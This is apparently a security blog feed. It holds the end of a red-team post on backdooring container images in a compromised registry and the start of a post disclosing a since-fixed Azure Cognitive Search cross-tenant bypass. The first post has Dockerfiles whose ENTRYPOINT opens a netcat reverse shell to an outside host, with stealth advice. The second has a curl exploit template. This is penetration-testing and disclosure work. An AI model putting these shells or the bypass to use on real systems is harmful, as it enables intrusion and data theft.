&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2023-05-23-infecting-container-images/14_screenshot_netcat_callback_from_deployed_infected_image.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2023-05-23-infecting-container-images/14_screenshot_netcat_callback_from_deployed_infected_image.png&quot; alt=&quot;Netcat callback from the infected container image deployed in a Kubernetes cluster&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;what-about-distroless-images&quot;&gt;What about distroless images?&lt;/h2&gt;

&lt;p&gt;The above PoC demonstrates how to infect a container image based on a full Linux distribution (sometimes referred to as “distrofull”), and it might be tempting to believe that distroless images could be an efficient solution to prevent this kind of attack.&lt;/p&gt;

&lt;p&gt;Distroless images are container images that only contain the developer’s application and its required dependencies, as well as the runtime environment necessary to run it (e.g. a Python interpreter for a Python application, a Java Virtual Machine for a Java application, etc.).&lt;/p&gt;

&lt;p&gt;Personally, I am a strong advocate of distroless images as they almost remove the entire attack surface introduced by system packages, which are not even necessary in the first place. From an attacker’s perspective, having to live off the land in a compromised container with literally no tool is a lot harder than having a full Linux distribution loaded with everything needed. Additionally, the use of distroless images removes the necessity and pain of dealing with vulnerabilities in system packages (apart from the runtime environment), while allowing dev teams to shift left and focus on securing their source code instead (see &lt;a href=&quot;https://www.emiliensocchi.io/managing-vulnerabilities-in-software-containers-how-to-avoid-common-pitfalls/&quot;&gt;here&lt;/a&gt; for more information).&lt;/p&gt;

&lt;p&gt;You might have noticed that the above PoC relies on the package manager of the Linux distribution to install the screen and netcat utilities. It might be tempting to think that removing the package manager by going distroless would be enough to prevent image infections.&lt;/p&gt;

&lt;p&gt;However, it is important to keep in mind that any container image can be extended in any way we like.  In most assessments, I am interested in acquiring a foothold in multiple places of a container-based infrastructure, to attack it from different places. My goal is therefore to infect images with reverse shells and make sure they contain a set of satisfying tools to conduct further attacks once the shells start calling home.&lt;/p&gt;

&lt;p&gt;My approach to infect a distroless image consists therefore of extending it with a full Linux distribution (usually Alpine) and infect it with a reverse shell, similar to what we have demonstrated above. The idea is to include a full ecosystem in the image that we can live off of to conduct further attacks, once we have acquired a shell.&lt;/p&gt;

&lt;p&gt;The steps are exactly the same as the ones above, except that we use the following Dockerfile to create an infected version of a distroless image:&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;FROM &amp;lt;name_of_image_to_infect&amp;gt;
ADD alpine-minirootfs-3.14.2-x86_64.tar.gz /
RUN apk add screen
ENTRYPOINT screen &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-m&lt;/span&gt; nc &amp;lt;listening_address&amp;gt; &amp;lt;listening_port&amp;gt; &lt;span class=&quot;nt&quot;&gt;-e&lt;/span&gt; /bin/sh &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &amp;lt;original_ENTRYPOINT_command&amp;gt; &amp;lt;original_CMD_command&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As you can see, the second instruction is what makes the distroless image distrofull, by including all the files making up the Alpine Linux distribution into the root directory of the distroless image (the compressed tarball can be found &lt;a href=&quot;https://github.com/alpinelinux/docker-alpine/tree/6046c206b93945695d9c3efedcafe629a327fd85/x86_64&quot;&gt;here&lt;/a&gt;). Note that the ADD instruction automatically unpacks tarballs compressed in a recognized compression format as a directory.&lt;/p&gt;

&lt;p&gt;The rest of the Dockerfile is similar to the one used for distrofull images, although it is worth noticing that the insecure version of netcat is already included in Alpine Linux, so we do not need to install it.&lt;/p&gt;

&lt;p&gt;As a small PoC, let’s assume that that the registry we have compromised hosts a distroless image for a simple python application printing a certain content periodically. The infection steps starting with finding the ENTRYPOINT and CMD command combination used by the original image and ending with building the Dockerfile creating the infected image are as follows:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2023-05-23-infecting-container-images/15_screenshot_infecting_distroless_image_with_netcat.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2023-05-23-infecting-container-images/15_screenshot_infecting_distroless_image_with_netcat.png&quot; alt=&quot;Infecting a distroless image with a reverse netcat shell&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Note that in this case we are using the inspect option of the Docker utility to find the ENTRYPOINT and CMD command combination used by the original image. The final Dockerfile used to infect the distroless Python image is therefore as follows:&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;FROM trs1/distroless-python-app:1.0
ADD alpine-minirootfs-3.14.2-x86_64.tar.gz /
ENTRYPOINT /usr/bin/screen &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-m&lt;/span&gt; /usr/bin/nc 1.2.3.4 53 &lt;span class=&quot;nt&quot;&gt;-e&lt;/span&gt; /usr/bin/sh &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; /usr/bin/python3.9 print.py &lt;span class=&quot;s2&quot;&gt;&quot;This is a PoC&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The rest of the exploitation process is the same as earlier, where the infected image is renamed with the exact same name and tag as the original image, pushed back to registry, while finally waiting for the shell to call home.&lt;/p&gt;

&lt;p&gt;As illustrated below, it is important to note that contrary to what might be expected, this approach only increases the size of the original distroless image by 2.7 MB (roughly the size of the Alpine Linux tarball). This is the reason why I tend to use that distribution to turn distroless into infected distrofull images, as the size increase is not very obvious.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2023-05-23-infecting-container-images/16_visible_difference_on_registry_between_infected_and_legitimate_distroless_image.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2023-05-23-infecting-container-images/16_visible_difference_on_registry_between_infected_and_legitimate_distroless_image.png&quot; alt=&quot;Visible differences on the registry before and after the infection of a distroless image&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As we discussed earlier, the only human-readable indicator of a compromised registry where images are getting infected is the size of those images. Based on several assessments, I have experienced that unless the difference is really significant (e.g. 100 MB or more), developers do not notice that something is wrong. Even with a large size difference, the infection does not always raise eyebrows, as this all goes down to the effective security culture and awareness within the company.&lt;/p&gt;

&lt;h2 id=&quot;how-to-protect-against-the-infection-of-container-images&quot;&gt;How to protect against the infection of container images?&lt;/h2&gt;

&lt;p&gt;As explained in the background section of this article, container images are able to build upon each other thanks to the layering system provided by the technology. Our approach to infect container images consists therefore of abusing that feature by extending a legitimate image with something malicious. Since the layering system is at the core of the software-container technology, it is unfortunately impossible to prevent that behavior.&lt;/p&gt;

&lt;p&gt;However, preventing the exploitability of a malicious usage of the layering system is possible. Many container registries have a built-in feature meant for that purpose, called “Container Trust”. The idea behind that feature is that publishers of container images are required to create a cryptographic key pair (preferably per repository) and sign their images using the private key before pushing them to the registry. Image consumers are therefore able to check the integrity of any image originating from a signed repository, by verifying their signatures using the public key.&lt;/p&gt;

&lt;p&gt;Although this approach is an efficient way of preventing infected images from being instantiated successfully, it is only as secure as the key-management strategy implemented to handle the private key of each repository. Any experience security professional will know that secret management is not an easy task to accomplish securely. For example, I cannot recall the number of times I have seen companies use a single signing key for an entire registry (i.e. the same for all repositories), which allows threat actors to conduct the exact same kind of attack as the one we have demonstrated, once the key is compromised.&lt;/p&gt;

&lt;p&gt;In my opinion, the best protection against the infection of container images is to implement a process enforcing the use of image digests, as part of the DevOps and deployment process, so that instantiating an image based on its name and tag is simply impossible.
As explained earlier, an infected image has the same name and tag as the original version of the image, but its SHA-256 digest will be different. By relying on image digests only, while never trusting names and tags, dev teams are therefore able to remove the actual exploitability of a malicious usage of the layering system.&lt;/p&gt;

&lt;p&gt;The idea is to implement an automated process, which saves the digest of a legitimate image after it is pushed to a registry, so that its integrity can be verified automatically when it is pulled later. In case a registry becomes compromised and a threat actor is able to infect images using our approach, the deployment of the infected image will therefore fail, as its digest will be different from the one saved for the legitimate image. An approach based exclusively on image digests to verify the integrity of container images seems therefore more robust than Container Trust, as its attack surface is smaller (no keys to store, manage and rotate).&lt;/p&gt;

&lt;p&gt;Finally, there are a couple of other proactive measures that can be implemented upstream to limit the blast radius of a container-image infection and registry compromise. First, limiting the network exposure of a registry might decrease the risk of a compromise in the first place (it does not mean it will not happen). Usually, this means favoring the use of private endpoints over public ones to expose and consume the registry. Secondly, container-based infrastructures such as Kubernetes should always restrict all outbound traffic to the Internet, as much as possible (including DNS). This will prevent infected images triggering reverse shells from connecting back to their controller, but it will not prevent other types of infections such as malware operating locally. Finally, companies should make sure that each type of environment (e.g. development, test, production) is using a dedicated registry, to limit the blast radius of a compromise and prevent attackers from spreading to multiple clusters by compromising a single registry.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;Despite the growing popularity and excitement around the technology, software containers are still a misunderstood beast in many ways. Hopefully, this blog post will help raising some awareness about container-image infection and how threat actors can spread in large-scale container-based infrastructures in a stealthy way.&lt;/p&gt;

&lt;p&gt;Based on previous experience, approaches relying on image digests have proven to be an efficient countermeasure to this kind of threat when implemented correctly. I hope this contribution will help companies to understand the importance of verifying the integrity of container images and make the container world a more secure place.&lt;/p&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;

&lt;p&gt;For further references when conducting penetration tests and other red-teaming engagements, I have created some Dockerfile templates for the following types of infections:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Support for distrofull images based on:
    &lt;ul&gt;
      &lt;li&gt;Alpine Linux&lt;/li&gt;
      &lt;li&gt;Debian&lt;/li&gt;
      &lt;li&gt;Ubuntu&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Support for distroless images, made distrofull with:
    &lt;ul&gt;
      &lt;li&gt;Alpine Linux&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Support for reverse-shell infection with:
    &lt;ul&gt;
      &lt;li&gt;netcat&lt;/li&gt;
      &lt;li&gt;socat&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The Dockerfiles can be found on my public &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kubernetes-hunting&lt;/code&gt; repository available at the following location:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/emiliensocchi/kubernetes-hunting&quot;&gt;https://github.com/emiliensocchi/kubernetes-hunting&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
          <pubDate>2023-05-23T00:00:00+00:00</pubDate>
          <link>https://www.emiliensocchi.io/infecting-container-images-to-spread-in-large-scale-container-based-infrastructures-like-kubernetes/</link>
          <guid isPermaLink="true">https://www.emiliensocchi.io/infecting-container-images-to-spread-in-large-scale-container-based-infrastructures-like-kubernetes/</guid>
        </item>
      
    
      
        <item>
          <title>ACSESSED: Cross-tenant network bypass in Azure Cognitive Search</title>
          <description>&lt;h2 id=&quot;tldr&quot;&gt;TL;DR&lt;/h2&gt;

&lt;p&gt;This blog post provides a technical description of a 0-day vulnerability that I found in Microsoft Azure back in February 2022.&lt;/p&gt;

&lt;p&gt;The vulnerability, which I dubbed “ACSESSED”, consisted of a cross-tenant network bypass, allowing anyone with the right amount of information to access data located in private instances of Azure Cognitive Search (ACS) from any tenant and location.&lt;/p&gt;

&lt;p&gt;The vulnerability was reported on February 23rd and fixed by Microsoft on August 31st 2022.
This blog post covers the following:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;How the ACSESSED vulnerability was first detected&lt;/li&gt;
  &lt;li&gt;How it could be exploited&lt;/li&gt;
  &lt;li&gt;The impact of the vulnerability&lt;/li&gt;
  &lt;li&gt;Its disclosure timeline&lt;/li&gt;
  &lt;li&gt;A high-level description of how Microsoft fixed the issue&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;!--end_of_excerpt--&gt;&lt;/p&gt;

&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;

&lt;p&gt;Over the past two years, Microsoft Azure has been confronted with a significant number of serious vulnerabilities such as &lt;a href=&quot;https://www.cloudvulndb.org/azurescape&quot;&gt;Azureescape&lt;/a&gt;, &lt;a href=&quot;https://www.cloudvulndb.org/cve-2022-29149&quot;&gt;OMIGOD&lt;/a&gt;, or the infamous cross-tenant bypass in the &lt;a href=&quot;https://www.cloudvulndb.org/synlapse&quot;&gt;Synapse Analytics&lt;/a&gt; service to name a few.&lt;/p&gt;

&lt;p&gt;Due to popularity of the Azure platform in the Nordics, our penetration-testing teams are often exposed to Azure environments of different kinds, complexities and sizes, making it easier to keep up with the fast-growing pace of new features released by Microsoft.&lt;/p&gt;

&lt;p&gt;One day, a new feature suddenly appeared in the networking options of the ACS service, while conducting a customer engagement:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2022-12-13-acsessed-azure-vulnerability/01_screenshot_allow_access_from_portal.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2022-12-13-acsessed-azure-vulnerability/01_screenshot_allow_access_from_portal.png&quot; alt=&quot;New Azure Cognitive Search feature: Allow access from Portal&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Based on the information provided in the portal, it seemed like the feature was supposed to create an exception in the resource’s firewall, so that accessing its data plane via the Azure portal was possible even when strict network restrictions were applied to the resource (e.g. exposed on a restricted public endpoint, a private endpoint or without any explicit network exposure).&lt;/p&gt;

&lt;p&gt;Immediately, I started wondering how the feature actually worked under the hood:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;What are the actual IP addresses whitelisted in the firewall when enabling this feature?&lt;/li&gt;
  &lt;li&gt;How does the Azure portal actually use these IP addresses?&lt;/li&gt;
  &lt;li&gt;What does “Allow access from Portal” actually mean? Is this my instance of the portal, or does it make an exception for everybody?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;As this was completely undocumented when I first noticed the feature back in February 2022, I decided to investigate it, to try understanding the consequences of enabling that new button.&lt;/p&gt;

&lt;h2 id=&quot;background&quot;&gt;Background&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/azure/search/search-what-is-azure-search&quot;&gt;Azure Cognitive Search (ACS)&lt;/a&gt; is a very popular search engine service for full-text search, which essentially allows customers to search within their data in a very fast way using indexes. The service supports multiple types of search approaches, such as text search, fuzzy search, autocomplete, or even location-based search.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2022-12-13-acsessed-azure-vulnerability/02_screenshot_acs_architecture.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2022-12-13-acsessed-azure-vulnerability/02_screenshot_acs_architecture.png&quot; alt=&quot;High-level architecture of Azure Cognitive Search&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Figure 1: High-level architecture of Azure Cognitive Search – Source: https://learn.microsoft.com/en-us/azure/search/search-what-is-azure-search&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&quot;detecting-the-vulnerability&quot;&gt;Detecting the vulnerability&lt;/h2&gt;

&lt;p&gt;In order to investigate the new networking feature of ACS, I first started by deploying a brand new instance of the service in a test environment, using all the default options. I also made sure the instance was not exposed on any network, by disabling both public and private network access completely. The only networking option enabled at this point was the new “Allow access from Portal” configuration:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2022-12-13-acsessed-azure-vulnerability/03_screenshot_acs_networking_settings_unfixed.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2022-12-13-acsessed-azure-vulnerability/03_screenshot_acs_networking_settings_unfixed.png&quot; alt=&quot;The new ACS instance has &apos;Public Network Access&apos; set to &apos;Disabled&apos; and &apos;Allow access from Portal&apos; set to &apos;enabled&apos;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2022-12-13-acsessed-azure-vulnerability/04_screenshot_private_endpoint_settings.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2022-12-13-acsessed-azure-vulnerability/04_screenshot_private_endpoint_settings.png&quot; alt=&quot;The new ACS instance has no private endpoint&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Additionally, I imported test data to the instance, using the built-in data source called “hotels-sample”, to have some data ready to query:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2022-12-13-acsessed-azure-vulnerability/05_screenshot_sample_data_settings.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2022-12-13-acsessed-azure-vulnerability/05_screenshot_sample_data_settings.png&quot; alt=&quot;Importing test data to the new ACS instance, using the built-in sample &apos;hotels-sample&apos;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Once confirming that I could retrieve data from my network-isolated ACS instance via the Azure portal’s built-in search explorer, I started investigating the service to understand how that was possible.&lt;/p&gt;

&lt;p&gt;First, I started looking at the instance’s raw configuration, as I was wondering what kind of IP address the new feature whitelisted in the resource’s firewall. To my surprise, no IP was whitelisted. Instead, the instance’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;networkRuleSet.bypass&lt;/code&gt; property was set to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AzurePortal&lt;/code&gt;, as follows:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2022-12-13-acsessed-azure-vulnerability/06_screenshot_acs_raw_config.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2022-12-13-acsessed-azure-vulnerability/06_screenshot_acs_raw_config.png&quot; alt=&quot;The new ACS instance&apos;s raw configuration in JSON&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;According to the official documentation for the &lt;a href=&quot;https://docs.microsoft.com/en-us/rest/api/searchmanagement/2021-04-01-preview/services/create-or-update?tabs=HTTP#networkruleset&quot;&gt;Cognitive Search API&lt;/a&gt;, the bypass property allows the specified origin to bypass all networking rules defined in the resource’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;networkRuleSet.ipRules&lt;/code&gt; configuration (i.e. its firewall). In other words, that property was the one making it possible to reach the data plane of the ACS resource from the Azure portal, regardless of the networking rules defined for the instance. Note that only &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;None&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AzurePortal&lt;/code&gt; were valid values for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bypass&lt;/code&gt; property and submitting arbitrary IP addresses or strings was therefore disallowed.&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AzurePortal&lt;/code&gt; value looked like a service tag, so I started wondering what kind of IP addresses might be whitelisted behind the scene. Based on Microsoft’s overview of &lt;a href=&quot;https://www.microsoft.com/en-us/download/details.aspx?id=56519&quot;&gt;Azure IP Ranges and Service Tags&lt;/a&gt;, it seemed like the effective IP addresses associated with the service tag varied based on global regions, which in the case of my ACS instance corresponded to the IP addresses of the North-Europe region:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2022-12-13-acsessed-azure-vulnerability/07_screenshot_azureportal-service-tag-iprange.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2022-12-13-acsessed-azure-vulnerability/07_screenshot_azureportal-service-tag-iprange.png&quot; alt=&quot;Overview of the IP address ranges belonging to the &apos;AzurePortal&apos; service tag in the &apos;NorthEurope&apos; region&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;At this point, I started to wonder if the “Allow access from Portal” feature simply allowed using the IP addresses associated with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AzurePortal&lt;/code&gt; service tag. At the same time, I felt like being able to impersonate IP addresses belonging to a service tag could potentially create huge security issues for other services.&lt;/p&gt;

&lt;p&gt;The second step of my investigation therefore consisted of analysing the traffic sent by my client when using search explorer to retrieve data from the ACS instance. I quickly noticed requests towards the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stamp2.ext.search.windows.net&lt;/code&gt; host, which according to &lt;a href=&quot;https://docs.microsoft.com/en-us/azure/search/search-howto-connecting-azure-sql-iaas-to-azure-search-using-indexers#include-the-azure-cognitive-search-portal-ip-addresses&quot;&gt;Microsoft’s documentation&lt;/a&gt;, consists of the domain of the traffic manager and represents the IP address of the Azure portal in the current location.&lt;/p&gt;

&lt;p&gt;At the time of the investigation, the IP address of the Azure portal in my region (North Europe) was 20.50.216.43. However, that address was neither contained in the IP range of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AzurePortal&lt;/code&gt; service tag for the North Europe region, nor was it contained in the IP ranges of other regions. I started to get confused at this point, as it was not clear what the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AzurePortal&lt;/code&gt; service tag was really whitelisting behind the scene and what role the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stamp2.ext.search.windows.net&lt;/code&gt; host actually played to allow retrieving data via the Azure portal.&lt;/p&gt;

&lt;p&gt;I kept investigating the requests towards the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stamp2.ext.search.windows.net&lt;/code&gt; host and quickly noticed they were all hitting the same endpoint with the same set of uncommon headers:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2022-12-13-acsessed-azure-vulnerability/08_screenshot_portalproxy_invoke_request.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2022-12-13-acsessed-azure-vulnerability/08_screenshot_portalproxy_invoke_request.png&quot; alt=&quot;Example of a GET request to the invoke endpoint in the Portal proxy&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As illustrated above, the requests were all hitting the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/api/&amp;lt;path-to-resource&amp;gt;/invoke&lt;/code&gt; endpoint, and submitted search queries to the data plane of my ACS instance via an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;X-Ms-Path-Query&lt;/code&gt; header. Additionally, an access token was required for authentication, besides the API key of the ACS instance.&lt;/p&gt;

&lt;p&gt;In other words, it seemed like the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stamp2.ext.search.windows.net&lt;/code&gt; host was used as a whitelisted proxy, allowed to submit search queries on behalf of the bearer of the submitted access token. 
At first, the use of the portal proxy (i.e. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stamp2.ext.search.windows.net&lt;/code&gt;) seemed like a convenient approach, as it allowed a large number of users from different locations to access the data plane of a private ACS instance, without the need to whitelist every single IP address in the instance’s firewall.&lt;/p&gt;

&lt;p&gt;Additionally, it allowed switching the traditional network perimeter in the form of IP whitelisting, with an identity perimeter relying on access tokens issued and managed by Entra ID instead. Note that whether a network perimeter should be replaced by an identity perimeter in the first place is a questionable choice, but digging into that subject is outside the scope of this article.&lt;/p&gt;

&lt;p&gt;I assumed the access token submitted to the portal proxy was used for the following purposes and pursued therefore my investigation into that direction, to verify whether that was the case:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Ensure the token was issued within the same tenant as the ACS instance&lt;/li&gt;
  &lt;li&gt;Ensure the token was issued for a security principal with enough read permissions on the data plane of the queried ACS&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;To my surprise, it turned out that the only thing Microsoft was validating in the backend was that the submitted access token was still valid (i.e. not expired) and that it was issued for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://management.core.windows.net/&lt;/code&gt; audience, which corresponds to the Azure Resource Manager (ARM) API.&lt;/p&gt;

&lt;p&gt;This effectively meant that given enough information, anybody could reach the data plane of my network-isolated ACS instance from any tenant and location, as obtaining a valid access token for the ARM API is as simple as logging into the Azure portal of any arbitrary tenant.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2022-12-13-acsessed-azure-vulnerability/09_diagram_acsessed_vulnerability_explained.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2022-12-13-acsessed-azure-vulnerability/09_diagram_acsessed_vulnerability_explained.png&quot; alt=&quot;Diagram illustrating the ACSESSED vulnerability&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This seemed to answer my original question on whether the new feature made an exception for &lt;em&gt;my&lt;/em&gt; instance of the Azure portal or if it made an exception for &lt;em&gt;everybody&lt;/em&gt;. However, allowing anybody with enough information to reach the data plane of any ACS instance with the “Allow access from Portal” feature enabled, including those without any apparent network exposure (i.e. without a private, service or public endpoint), seemed more like a vulnerability to me than an intended purpose. I decided therefore to create a proof of concept and report the issue to Microsoft on February 23rd 2022.&lt;/p&gt;

&lt;h2 id=&quot;proof-of-concept&quot;&gt;Proof of Concept&lt;/h2&gt;

&lt;p&gt;The prerequisite to exploit this issue successfully was to gather enough information about a targeted ACS instance with the vulnerable feature enabled. The full set of information required was as follows:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;The name of the targeted instance&lt;/li&gt;
  &lt;li&gt;The ID of the subscription where it was located&lt;/li&gt;
  &lt;li&gt;The name of the resource group where it was located&lt;/li&gt;
  &lt;li&gt;A valid API key to access its data plane (admin or query key)&lt;/li&gt;
  &lt;li&gt;The name of the index to query&lt;/li&gt;
  &lt;li&gt;A valid access token issued for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://management.core.windows.net/&lt;/code&gt; audience (can be acquired from any tenant)
From there, retrieving data from the targeted instance using the whitelisted portal proxy was as simple as a single request. I made a curl template for Microsoft to reproduce the issue, where the information above could be filled in quickly and easily:&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;curl &lt;span class=&quot;s1&quot;&gt;&apos;https://stamp2.ext.search.windows.net/api/subscriptions/&amp;lt;SUBSCRIPTION_ID&amp;gt;/resourceGroups/&amp;lt;RG_NAME&amp;gt;/providers/Microsoft.Search/searchServices/&amp;lt;SEARCH_SERVICE_NAME&amp;gt;/invoke&apos;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;-H&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;Authorization: Bearer &amp;lt;ACCESS_TOKEN&amp;gt;&apos;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;-H&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;x-ms-operation-name: Search.Invoke&apos;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;-H&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;x-ms-path-query: https://&amp;lt;SEARCH_SERVICE_NAME&amp;gt;.search.windows.net/indexes/&amp;lt;INDEX_NAME&amp;gt;/docs?api-version=2021-04-30-Preview&amp;amp;search=*&apos;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;-H&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;api-key: &amp;lt;API_KEY&amp;gt;&apos;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;--compressed&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As illustrated below with a simple proof of concept, retrieving data from my private ACS using an access token belonging to another tenant was fully possible:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2022-12-13-acsessed-azure-vulnerability/10_screenshot_acsessed_exploit.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2022-12-13-acsessed-azure-vulnerability/10_screenshot_acsessed_exploit.png&quot; alt=&quot;Exploit of the ACSESSED vulnerability&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;impact-and-disclosure&quot;&gt;Impact and disclosure&lt;/h2&gt;

&lt;p&gt;The ACSESSED vulnerability impacted all ACS instances deployed with the “Allow access from Portal” feature enabled.&lt;/p&gt;

&lt;p&gt;By enabling that feature, customers effectively allowed cross-tenant access to the data plane of their ACS instances from any location, regardless of the actual network configurations of the latter. Note that this included instances exposed exclusively on private endpoints, as well as instances without any explicit network exposure, such as the one I deployed for investigation (i.e. instances without any private, service or public endpoint).&lt;/p&gt;

&lt;p&gt;By the simple click of a button, customers were therefore able to turn on a vulnerable feature, which removed the entire network perimeter configured around their ACS instances, without providing any real identity perimeter (i.e. anybody could generate a valid access token for ARM).&lt;/p&gt;

&lt;p&gt;I first reported the ACSESSED vulnerability on February 23rd as a privilege escalation with a moderate impact, according to Microsoft’s &lt;a href=&quot;https://www.microsoft.com/en-us/msrc/security-update-severity-rating-system&quot;&gt;Security Update Severity Rating System&lt;/a&gt;. The issue was confirmed on March 22nd and its severity was raised from moderate to important, due to its cross-tenant aspect and easy exploitation.&lt;/p&gt;

